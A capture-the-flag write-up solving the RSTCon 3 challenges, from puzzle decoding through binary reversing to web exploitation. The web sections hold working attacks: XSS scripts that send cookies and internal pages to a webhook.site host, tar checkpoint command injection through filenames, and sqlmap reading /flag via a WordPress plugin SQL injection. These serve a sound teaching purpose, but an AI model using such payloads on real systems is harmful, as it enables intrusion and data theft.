Table of Contents

Overview

This is a write-up for the challenges from the RSTCon 3 CTF. The CTF was held on the 29th-30th of April and lasted for 30 hours. I managed to solve 14 of the 16 challenges.

Crypto

Asan (400)

Description: Extraterestrii ne-au trimis un flag dar nu reusim sa il descifram…

사 일 사 이 사 삼 육 𠄩 이 사 오 영 이 삼 이 ၀ 이 일 이 사 이 칠 이 삼 이 일 이 영 이 칠 오 이 이 육 이 이 오 오 오 오 이 이 오 일 이 팔 이 칠 오 영 오 일 이 칠 오 사 이 이 이 삼 이 팔 이 오 오 이 오 오 오 사 이 팔 이 영 이 칠 이 육 오 일 이 칠 이 영 이 육 오 이 이 삼 이 팔 이 ၀ 이 ၀ 이 오 이 삼 이 이 이 일 오 이 이 오 이 사 오 영 이 팔 이 칠 이 삼 이 칠 이 영 오 영 오 사 이 사 오 영 이 사 오 사 이 오 육 𦊚 ၀ ၀

Write-up

Looking at the letters, they seem to be in korean. Searching for korean numbers I found this blog post. I used the table to convert the numbers to arabic.

0   영
1   일
2   이
3   삼
4   사
5   오
6   육
7   칠
8   팔
9   구

After this mapping I was left with only 3 characters that needed mappings: 𠄩, 𦊚, ၀

I guessed those were a, b, c and tried decoding the flag. I got a string starting with 4142436a which decoded from hex is ABCj. The flag format starts with RST{, which would be 5253547b. I realized that the digits mapped wrong and they have to be advanced by 1. So I changed the mapping to:

1   영
2   일
3   이
4   삼
5   사
6   오
7   육
8   칠
9   팔

Also, for the 8th digit to be b, the character 𠄩 has to map to it. Now we have no 0, so I assumed ၀ is 0. Decoding the string with the new mapping we get:

RST{5a402584218c73ff3b98ab8e3496cfe9187b817c49006432c65a98481ae5a5e6{

The only unmapped character is 𦊚 and it should be d in order to get the flag format.

Solution

ct = "사 일 사 이 사 삼 육 𠄩 이 사 오 영 이 삼 이 ၀ 이 일 이 사 이 칠 이 삼 이 일 이 영 이 칠 오 이 이 육 이 이 오 오 오 오 이 이 오 일 이 팔 이 칠 오 영 오 일 이 칠 오 사 이 이 이 삼 이 팔 이 오 오 이 오 오 오 사 이 팔 이 영 이 칠 이 육 오 일 이 칠 이 영 이 육 오 이 이 삼 이 팔 이 ၀ 이 ၀ 이 오 이 삼 이 이 이 일 오 이 이 오 이 사 오 영 이 팔 이 칠 이 삼 이 칠 이 영 오 영 오 사 이 사 오 영 이 사 오 사 이 오 육 𦊚 ၀ ၀"

mapping = {
	"영":"1",
	"일":"2",
	"이":"3",
	"삼":"4",
	"사":"5",
	"오":"6",
	"육":"7",
	"칠":"8",
	"팔":"9",
	"𠄩":"b",
	"𦊚":"d",
	"၀":"0"
}

for c in mapping:
	ct = ct.replace(c, mapping[c])

ct = ct.replace(" ","")

print(bytes.fromhex(ct)) # RST{5a402584218c73ff3b98ab8e3496cfe9187b817c49006432c65a98481ae5a5e6}

Forensics

Stealth (176)

Description: Un atacator a obtinut acces la o masina si a lasat un backdoor, acesta trebuie descoperit. Download VM: https://rstforums.com/rstcon/Debian.zip

Write-up

We are given a VM with Debian installed. I started the VM and logged in with the credentials rstcon:rstcon. I tried to run sudo -l to see what commands I can run privileged but the user rstcon is not in the sudoers file. I tried to look for privilege escalation then changed the strategy.

I downloaded and ran a kali linux machine and mounted the VM’s disk. I looked in the root directory and found the following code:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NytroRST");
MODULE_DESCRIPTION("A kernel module for RSTCon");
MODULE_VERSION("0.01");
static int __init lkm_example_init(void) {
 //printk(KERN_INFO “Hello, World!\n”);
  char flag[] = "KJJVIQ2PJZ5WMOJUHFSDIY3FGFQTKMZTHFRTKY3DGIYDCOBQG4ZDQZRXMFRWIODCGMZWGYRWHE3TGZJYMFRTKMRVHFTGGNLDGQZDOOBTMMZGIODEMN6Q====";
  char xkey[] = "123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890";
  char result[121] = {0};
  int i = 0;
 
  for(i = 0; i < 120; i++)
  {
    result[i] = flag[i] ^ xkey[i];
  }
 
  result[120] = '\0';
  printk(KERN_INFO "Module loaded, key: %s", result);
 
  return 0;
}
static void __exit lkm_example_exit(void) {
 //printk(KERN_INFO “Goodbye, World!\n”);
}
module_init(lkm_example_init);
module_exit(lkm_example_exit);

I tried running it but the printed key was gibberish. I looked again at the flag and realized that it is encoded in base32. I decoded it and got the flag.

I used cyberchef to decode the string

RSTCON{f949d4ce1a5339c5cc20180728f7acd8b33cb6973e8ac5259fc5c42783c2d8dc}

Picapu (304)

Description: S-a reusit interceptarea traficului unui mafiot sicilian, trebuie sa vedem ce date trimite catre bombardierii romani.

Attachment: pcap file

Write-up

We are given a pcap file. I opened it with wireshark and saw that there were some TCP streams. Some of the packets are HTTP and I extracted the files. I found a file called expired_backup_config which contained a private key

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDc2unidnPM179x
1N69vjBZC5no+Nx/wb5gDvTRumqICB5VmAfFwQ+D0oLzP6ZQCwX9nmzft1izJZKO
...
bkwFUTYeRYdKk59ZCMQzCgDlOXw9BGHTqWwXAaPLnWsJ+qPKscw/RU6azBQZHe0r
Su59FVbgsyCLDZe4Bq+uk3N6
-----END PRIVATE KEY-----

I took the file and imported it into wireshark. After reopening the pcap file I saw that there are some TLS streams that I could decrypt. Looking at the newly available HTTP objects I found a file called hidden_flag_is_hidden which contained the flag.

RST{9564ccfb49cfe6191551cbc68a1f22985ae0882847629b2867f5953b7a6ddbdb}

Misc

Easy (100)

Description: Cel mai usor challenge, flag-ul e pe aici

Write-up

I tried to look for the flag in the HTML source code but I couldn’t find it. I assumed the challenge was not hard and tried to look in the main page of the website. Found it in an HTML comment.

<!--- Nu prea va uitati pe aici: RST{14e7dd6d3c7cb3ed6a750cbe9cc32e99a0b2051b20fe1f560a229b80c5d8c9a6} --->

Pwn

Bitsy (304)

Description: Gasiti si exploatati backdoor-ul. Flag: /root/flag URL: http://151.80.148.166/

Attachment: bitsy - ELF 64-bit LSB executable

Write-up

We were provided with a file and a link to a web server. The server accepted input that was then passed to the same executable that we were given.

I opened the file in IDA and saw that the program was decoding the input from hexadecimal in a buffer. The program then verified the first few bytes if they match a certain pattern.

if ( *(_DWORD *)dest == 1337 // 0x539
    && *(_QWORD *)&dest[8] == 2130706433LL // 0x7F000001
    && !*(_WORD *)&dest[24] // 0x0
    && *(_WORD *)&dest[26] == 0xFFFF )

Then it created a std::string with the rest of the bytes

std::string::basic_string<std::allocator<char>>(v17, &dest[28], &v22);

After this, the new string is truncated to 10 characters from the 16th byte

std::string::substr(v23, v17, 16LL, 10LL);

The substring is then passed to a function named ReadFile. The result of ReadFile is then printed to the user.

From this point the solution is to craft the payload matching the pattern and then the rest of the string to be the path to the flag.

Solution

payload = "A" * 224

payload = "39050000000000000100007f00000000"+"00"*8+"0000ffff"

# no 00 padding to keep the path when converting from char[] to std::string
# File name /root/flag
payload += "01"*16 + "2f726f6f742f666c6167"

# padding
payload = payload + "0" * (224 - len(payload))

print(payload)

# RSTCON{77ba0719690abcd6df1f9a43b7696076fe8a86ca01a9fabcce5f8dab8fc92e81} 

Reversing

Hardcoded (100)

Description: Se spune ca nu exista nici o metoda prin care un programator poate ascunde date intr-un binar, insa se pare ca un programator a reusit. Ce date a ascuns?

Attachment: RSTConsole.exe - PE32 executable

Write-up

I saw that the given file was a Windows executable. More specifically it was a C# program. I used dnSpy to decompile the program.

using System;

namespace RSTConsole
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000004 RID: 4 RVA: 0x00002834 File Offset: 0x00000A34
		private static void Main(string[] args)
		{
			if (args.Length == 1)
			{
				string text = args[0];
				if (text.Length == 69 && text.Substring(0, 4) == <Module>.RemovePlayerFromGroup("AsStrongAsFuck - Obfuscator by Charter (vk.com/violent_0)", -1616139226, 4) && text[68] == '}' && text.Substring(4, 10) == <Module>.RemovePlayerFromGroup("AsStrongAsFuck - Obfuscator by Charter (vk.com/violent_0)", -1616139222, 10) && text.Substring(58, 10) == <Module>.RemovePlayerFromGroup("AsStrongAsFuck - Obfuscator by Charter (vk.com/violent_0)", -1616139212, 10) && text.Substring(14, 44) == <Module>.RemovePlayerFromGroup("AsStrongAsFuck - Obfuscator by Charter (vk.com/violent_0)", -1616139202, 44))
				{
					Console.WriteLine(<Module>.RemovePlayerFromGroup("AsStrongAsFuck - Obfuscator by Charter (vk.com/violent_0)", -1616139158, 10));
				}
			}
		}
	}
}

The flag was obfuscated but it checked for equality with parts of a string passed as a parameter. I used dnSpy’s debugger and placed a breakpoint

dnSpy debug window

The expected substrings are available to the debugger. Doing this a few times and altering the input I got the flag.

RST{5a389e009ba6215aa4451bfdb978194163fd45811846774e0e20b85bc304950d}

Jaguar (100)

Description: Hecarii o criptat date plangacioase pe o aplicatie, trebue sa le scoatem!

Attachment: OK6.jar - jar file

Write-up

I started working on the challenge by decompiling the JAR file using this online tool.

I saw that the flag is computed then compared with the input string. So I copied the code and added a print to get the flag after it is computed.

Solution

// 
// Decompiled by Procyon v0.5.36
// 

import java.util.Base64;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Arrays;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;

public class Main
{
    private static /* synthetic */ String[] l;
    private static /* synthetic */ int[] ll;
    
    private static String l(final String lllllllllIlIIII, final String lllllllllIIllll) {
        try {
            final SecretKeySpec lllllllllIlIIll = new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("MD5").digest(lllllllllIIllll.getBytes(StandardCharsets.UTF_8)), Main.ll[4]), "DES");
            final Cipher lllllllllIlIIlI = Cipher.getInstance("DES");
            lllllllllIlIIlI.init(Main.ll[2], lllllllllIlIIll);
            return new String(lllllllllIlIIlI.doFinal(Base64.getDecoder().decode(lllllllllIlIIII.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8);
        }
        catch (Exception lllllllllIlIIIl) {
            lllllllllIlIIIl.printStackTrace();
            return null;
        }
    }
    
    static {
        lll();
        llI();
    }
    
    private static boolean lIIl(final int llllllllIllllII) {
        return llllllllIllllII != 0;
    }
    
    private static void lll() {
        (Main.ll = new int[5])[0] = " ".length();
        Main.ll[1] = ((0x35 ^ 0x1D) & ~(0x7D ^ 0x55));
        Main.ll[2] = "  ".length();
        Main.ll[3] = "   ".length();
        Main.ll[4] = (0x8 ^ 0x0);
    }
    
    public static void main(final String[] lllllllllIllIll) {
        System.out.print(1);
        final String lllllllllIllIlI = Plm.getsomething();
    }
    
    private static String lIl(final String lllllllllIIIIIl, final String lllllllllIIIIlI) {
        try {
            final SecretKeySpec lllllllllIIIllI = new SecretKeySpec(MessageDigest.getInstance("MD5").digest(lllllllllIIIIlI.getBytes(StandardCharsets.UTF_8)), "Blowfish");
            final Cipher lllllllllIIIlIl = Cipher.getInstance("Blowfish");
            lllllllllIIIlIl.init(Main.ll[2], lllllllllIIIllI);
            return new String(lllllllllIIIlIl.doFinal(Base64.getDecoder().decode(lllllllllIIIIIl.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8);
        }
        catch (Exception lllllllllIIIlII) {
            lllllllllIIIlII.printStackTrace();
            return null;
        }
    }
    
    private static void llI() {
        (Main.l = new String[Main.ll[3]])[Main.ll[1]] = l("L8qOzUihgw8=", "fSdEj");
        Main.l[Main.ll[0]] = lIl("gUOeWOmSpANIlfx/P3cgOA==", "vktua");
        Main.l[Main.ll[2]] = l("SHtYG6xpXqB4/DgBNy5yJg==", "ZYUWF");
    }
    
    private static boolean lIII(final int llllllllIlllIIl, final int llllllllIlllIII) {
        return llllllllIlllIIl != llllllllIlllIII;
    }
}


class Plm
{
    private static /* synthetic */ String[] I;
    private static /* synthetic */ int[] lI;
    public static /* synthetic */ String aaa;
    
    private static void ll() {
        (Plm.lI = new int[2])[0] = ((0x2 ^ 0x5F ^ (0x9D ^ 0x85)) & (0xD8 ^ 0x81 ^ (0x51 ^ 0x4D) ^ -" ".length()));
        Plm.lI[1] = " ".length();
    }
    
    private static void lI() {
        (Plm.I = new String[Plm.lI[1]])[Plm.lI[0]] = I("OBENOBBSej1yR1wkbiYRXno6dRMOIGp6EF5zbHEXU3Q7dEJdJGB2F1ombXFFWidrJhELJz0iFF10PHYUXCduIRYLdTo+", "jBYCu");
    }
    
    private static boolean lII(final int llllllllllIIIlI, final int llllllllllIIIIl) {
        return llllllllllIIIlI < llllllllllIIIIl;
    }
    
    public static String getsomething() {
        return Plm.aaa;
    }
    
    static {
        ll();
        lI();
        Plm.aaa = Plm.I[Plm.lI[0]];
    }
    
    private static String I(String lllllllllllIIlI, final String lllllllllllIIIl) {
        lllllllllllIIlI = new String(Base64.getDecoder().decode(lllllllllllIIlI.getBytes(StandardCharsets.UTF_8)), StandardCharsets.UTF_8);
        final StringBuilder lllllllllllIIII = new StringBuilder();
        final char[] llllllllllIllll = lllllllllllIIIl.toCharArray();
        int llllllllllIlllI = Plm.lI[0];
        final char[] llllllllllIlIII = lllllllllllIIlI.toCharArray();
        final int llllllllllIIlll = llllllllllIlIII.length;
        char llllllllllIIllI = (char)Plm.lI[0];
        while (lII(llllllllllIIllI, (int)llllllllllIIlll)) {
            final char lllllllllllIIll = llllllllllIlIII[llllllllllIIllI];
            lllllllllllIIII.append((char)(lllllllllllIIll ^ llllllllllIllll[llllllllllIlllI % llllllllllIllll.length]));
            "".length();
            ++llllllllllIlllI;
            ++llllllllllIIllI;
            "".length();
            if (-"  ".length() > 0) {
                return null;
            }
        }
        System.out.print(String.valueOf(lllllllllllIIII));
        return String.valueOf(lllllllllllIIII);
    }
}
RST{e88d126f7ed48c6fdb39e4152b96b777f95b0d4200e2edaedaa76e5a6e7bca7c}

MD5 (176)

Description: Un programator a vrut o implementare mai sigura a algoritmului md5 si a modificat codul gasit pe net: https://github.com/Zunawe/md5-c A fost descoperit un hash care trebuie crackuit: 8897fa1111a5359dc66283b4276a539f Flag: RST{sha256(secret)}

Attachment: md5_secure - ELF 64-bit LSB executable

Write-up

I opened the binary in Ghidra and compared the code with the original code from the link. I noticed only a change in the md5 initialization values.

I tried to bruteforce the given hash using rockyou.txt and it was successful.

$ cat ~/rockyou.txt | xargs ./md5_secure_patched > hashes
$ less -N hashes
/8897fa1111a5359dc66283b4276a539f
    740 8897fa1111a5359dc66283b4276a539f
$ less -N ~/rockyou.txt
740G
    740 sexybitch
$ echo -ne sexybitch | sha256sum
65e3b584abd1da2bb8bfef0e8eacab23f852399ec5dcc34aba41942e03c69556 -
RST{65e3b584abd1da2bb8bfef0e8eacab23f852399ec5dcc34aba41942e03c69556}

Stegano

Hidden (100)

Description: O imagine face cat o mie de cuvinte

Attachment: Hidden.png - PNG image

Write-up

When dealing with steganography, I always use stegsolve.jar to see if there are any hidden messages in the image. I tried all the planes and I found the flag in a random color map.

Flag

RST{5af7f9fac10feca2f3dd59b9a6cadec2ddb604ffd4730e3d556a36d40a0fc79a}

Steagu (176)

Description: Codul de acces de la butonul rosu e ascuns in imagine.

Attachment: Steagu.png - PNG image

Write-up

Opening the file one can see white and black stripes. Looking closer, some of the pixels are shades of red.

Steagu

I used python to extract the values of the red pixels and I got a sequence starting with 82 83 84 123 55 51 54 57. I converted the values to ascii and I got the flag.

Solution

from PIL import Image

im = Image.open('Steagu.png', 'r')

pix_val = list(im.getdata())

pix_val_flat = [chr(x) for sets in pix_val for x in sets if x != 255 and x > 5]

print(''.join(pix_val_flat))

# RST{73693f84a9c11562c71140fc79230e01a153d89a436c9850b9b6cd2bed093b18}

Web

Bruta (176)

Description: O aplicatie web… goala? URL: http://151.80.148.10/

Write-up

The website has a page saying “Invalid path”. I ran dirsearch on the root URL to check for valid paths.

$ dirsearch -u http://151.80.148.10/
...
/admincp
...

Accessing /admincp the server shows another error message: “Invalid file”. Running the same command on the new folder I found a new file

$ dirsearch -u http://151.80.148.10/admincp
...
/admincp/users.php
...

On the new page I get the message “Missing parameter”. This time I used ffuf to search for the GET parameter with this wordlist.

$ ffuf -c -w well-known-parameter-names-brute-force.txt -u http://151.80.148.10/admincp/users.php?FUZZ -fs 17
...
role
...

Trying a few values for role manually I found the link http://151.80.148.10/admincp/users.php?role=admin to be working. It downloaded a file named HiddenBackupOfDatabase.zip. The archive was password protected but was cracked fast by JohnTheRipper.

$ ~/JohnTheRipper/run/zip2john HiddenBackupOfDatabase.zip > johnPayload
$ john johnPayload
Password: gigel

The archive contained a file named Backup.txt with the following content:

admin,65db2952ca5469a0e920fd555ddb9c02,/superadmincp/

I followed the path to http://151.80.148.10/admincp/superadmincp/ to get a new error, “Invalid browser!”.

I used ffuf again with a user agent wordlist

$ ffuf -w ./list.txt -u http://151.80.148.10/admincp/superadmincp/ -H "User-Agent: FUZZ" -fs 16
...
Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d
...

I changed the user agent of Firefox using User-Agent Switcher and Manager and got a login form.

Going back to the Backup.txt file I tried to crack the hash using crackstation. The password was respectful.

Sending the form with the values admin and respectful I got the flag.

RST{8086f36c5f15fed2e83442a20c215f7ab3d77113e131f3b7f52f20824771def5}

Blogy (244)

Description: Un sysadmin incepator a expus in Internet un server si sper sa nu fie spart. URL: http://vps-6c75b9a2.vps.ovh.net/ Steagu e /flag

Write-up

Opening the site we are presented with a well-known blogging platform, WordPress. I tried to login with the default credentials admin and admin but it didn’t work.

I used wpscan to scan the site for vulnerabilities.

$ wpscan --url http://vps-6c75b9a2.vps.ovh.net/
...
 |
 | [!] Title: Paid Membership Pro < 2.9.8 - Unauthenticated SQLi
 |     Fixed in: 2.9.8
 |     References:
 |      - https://wpscan.com/vulnerability/9847ea7f-b3c3-4304-a03b-152264ddccfa
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23488
 |      - https://www.tenable.com/security/research/tra-2023-2
 |
...

I found a SQL injection vulnerability in the plugin Paid Membership Pro. The first link provides a PoC for the vulnerability.

curl "https://example.com/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-" 

I adapted it and passed the URL to sqlmap. We know that the flag is located in /flag, so I used the read file option.

$ sqlmap -u "http://vps-6c75b9a2.vps.ovh.net//?rest_route=/pmpro/v1/order&code=a" -p code --technique=T --dbms=mysql --batch --file-read=/flag

After a few minutes of waiting I extracted the file

RST{267feebd92a9db8bb707d6bc364bc6802a13208ff1abae0cb84a2fb66474d473}

Fr33 Storage (304)

Description: It is always simple when you have shell! https://fr33-storage.ml:3001/

Write-up

Opening the web address we are presented with a list of endpoints

GET /list

POST /upload Content-Type: application/json; charset=utf-8 {"filename": "", "content": ""}

POST /download Content-Type: application/json; charset=utf-8 {"filename": ""}

POST /delete Content-Type: application/json; charset=utf-8 {"filename": ""}

GET /downloadAll

GET /deleteAll

Playing around with them I found a few things:

  • The /downloadAll endpoint will not work the first time it is run, but will work the second time. It creates a tar archive only after it checks if the file exists
  • The file names are not escaped, so we can inject commands in them
  • The file names are limited in which characters they can contain, so we can’t use ; or & to separate commands
  • A cookie named dir is set to a random hash when we first access the site. It is used to store the directory in which the files are stored

With this information I created a file named anything because it needed a file to exist other than the injected commands.

$ curl -X POST -H "Content-Type: application/json; charset=utf-8" -d '{"filename": "anything", "content": "anything"}' --cookie "dir=4944a857ee924619017eac98ceb1aff16a6abc10" https://fr33-storage.ml:3001/upload

Then we inject a command in the filename and upload it. This will create a tar checkpoint command which will run when reaching a checkpoint. The payload is base64-encoded to avoid problems with characters. It will run cat /flag. The command ls / was run prior to this to find the location of the flag using the same method.

$ curl -X POST -H "Content-Type: application/json; charset=utf-8" -d '{"filename": "--checkpoint-action=exec='\''echo Y2F0IC9mbGFn | base64 -d | sh > flag'\''", "content": "anything"}' --cookie "dir=4944a857ee924619017eac98ceb1aff16a6abc10" https://fr33-storage.ml:3001/upload

After this we need a checkpoint to be reached. We can do this by uploading another file.

$ curl -X POST -H "Content-Type: application/json; charset=utf-8" -d '{"filename": "--checkpoint=1", "content": "anything"}' --cookie "dir=4944a857ee924619017eac98ceb1aff16a6abc10" https://fr33-storage.ml:3001/upload

Now we trigger the tar command by running the /downloadAll endpoint. The command will show an error but the command will be executed.

$ curl -X GET --cookie "dir=4944a857ee924619017eac98ceb1aff16a6abc10" https://fr33-storage.ml:3001/downloadAll

The flag is in the file flag that can be downloaded using the /download endpoint

$ curl -X POST -H "Content-Type: application/json; charset=utf-8" -d '{"filename": "flag"}' --cookie "dir=4944a857ee924619017eac98ceb1aff16a6abc10" https://fr33-storage.ml:3001/download

The last command will print the flag

RST{1e925503025c352dadb55b080312f761b007cc79}

Contactu (400)

Description: Orice vulnerabilitate trebuie respectata. URL: http://5.196.1.89/

Write-up

We are given a website with a contact form. The form has some fields: Name, ID, Email, Problem.

I tried to inject some HTML in the fields it worked. I used webhook.site to see the requests.

I used the following payload in the Problem field to test for HTML injection

<img src="https://webhook.site/fa3956e8-eee7-4d3e-8bc1-fb2dec597a93">

webhook.site showed that the image was loaded, so I tried to inject some JavaScript

<script>
    fetch("https://webhook.site/fa3956e8-eee7-4d3e-8bc1-fb2dec597a93/" + btoa(document.cookie))
</script>

I tried to get the cookies at first but they were empty. Then I tried to get the location of the page

<script>
    fetch("https://webhook.site/fa3956e8-eee7-4d3e-8bc1-fb2dec597a93/" + btoa(document.location.href))
</script>

This one returned http://localhost/hiddensuperadminpage/fisiere/1682886359.html. Now I tried to see the contents of http://localhost/hiddensuperadminpage/ because it looked interesting.

<script>
    fetch('http://localhost/hiddensuperadminpage/').then(r => r.text()).then(r =>
        fetch('https://webhook.site/fa3956e8-eee7-4d3e-8bc1-fb2dec597a93/page/'+btoa(r)))
</script>

Now I got the path to the flag

Steage: <a href="steage.html">aici</a>

One more payload to get the flag

<script>
    fetch('http://localhost/hiddensuperadminpage/steage.html').then(r => r.text()).then(r =>
        fetch('https://webhook.site/fa3956e8-eee7-4d3e-8bc1-fb2dec597a93/lol/'+btoa(r)))
</script>
RST{04bef3458307755dd13f84a0196f2d36ff49758a598fc342042ae367eb02e58b}

Solution

I also wrote a python script to make the requests and get the flag

import requests

PAYLOAD = """
<script>

fetch('http://localhost/hiddensuperadminpage/steage.html').then(r => r.text()).then(r =>
fetch('https://webhook.site/fa3956e8-eee7-4d3e-8bc1-fb2dec597a93/lol/'+btoa(r)))

</script>"""

burp0_url = "http://5.196.1.89:80/"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://5.196.1.89", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://5.196.1.89/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"name": "a", "id": "1", "email": "a", "problem": PAYLOAD, "submit": "lol"}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

# RST{04bef3458307755dd13f84a0196f2d36ff49758a598fc342042ae367eb02e58b}